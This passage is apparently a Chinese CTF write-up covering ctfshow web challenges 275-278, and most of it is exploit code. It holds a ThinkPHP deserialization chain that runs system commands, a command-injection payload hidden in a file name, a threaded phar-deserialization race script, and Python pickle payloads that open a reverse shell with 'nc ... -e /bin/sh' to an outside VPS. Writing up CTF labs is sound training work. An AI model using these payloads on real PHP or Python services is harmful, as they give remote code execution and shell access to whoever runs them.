    private $data = [];
    function __construct(){
        $this->append = ["w"=>["calc.exe","calc"]];
        $this->data = ["w"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

查看源码可以知道反序列化点是get传参data


然后再get传参w=tac /flag

275



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: [email protected]
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

这题看起来是反序列化,其实不是,而是利用linux执行多个命令的方法来进行
文章:https://baijiahao.baidu.com/s?id=1727743361617563259&wfr=spider&for=pc

    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }

这里的filename是我们可控的,只要里面带php..就会执行system
所以传参

?fn=;tac /flag.php

得到flag

277

看源码知道是pickle反序列化


基本的rce
类定义后面加(object)的作用是:继承object类

import base64
import pickle


class payload(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc 110.40.193.xxx 9999 -e /bin/sh')",))

a=payload()
print(base64.b64encode(pickle.dumps(a)))

反弹shell给自己的vps,记得在vps上监听对应端口

276



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: [email protected]
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

where is flag?

对执行system多了个限制,且不可控
这里使用phar反序列化,以及竞争
在没有将其删除的时候,以phar://协议访问上传的phar文件,就可以修改admin的值,然后执行system
但是ctfshow条件竞争的时间时间限制,所以这个payload还没有实现过
生成phar文件


class filter{
    public $filename=';tac /flag.php';
    public $filecontent;
    public $evilfile=true;
    public $admin = true;
}
$a = new filter;
$phar = new Phar('phar.phar');
$phar->setStub('');
$phar->setMetadata($a);
$phar->addFromString("1.txt",'12aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd3');
$phar->stopBuffering();
import requests
import threading
url="http://cff1a17b-f0fc-4289-a1ce-7cf1c00c01ce.challenge.ctf.show/"
f=open("phar.phar","rb")
content=f.read()
def upload():
    res=requests.post(url=url+"?fn=1.phar",data=content)
    print(res.status_code)

def flag():
    res=requests.post(url=url+"?fn=phar://1.phar/",data="wzx")
    print(res.status_code)
    if 'ctfshow{' in res.text or 'flag{' in res.text:
        print(res.text)
        exit()


while 1 :
    t1=threading.Thread(target=upload)
    t2=threading.Thread(target=flag)
    t1.start()
    t2.start()

278

pickle反序列化
跟277一样,只不过过滤了os.system,那就换个函数os.popen.read
payload

import base64
import pickle
import pickletools


class payload(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('nc 110.40.193.xxx 9999 -e /bin/sh').read()",))

a=payload()
print(base64.b64encode(pickle.dumps(a)))
# b=pickle.dumps(a)
# pickletools.dis(b)

你可能感兴趣的:(CTF,WEB,php,python)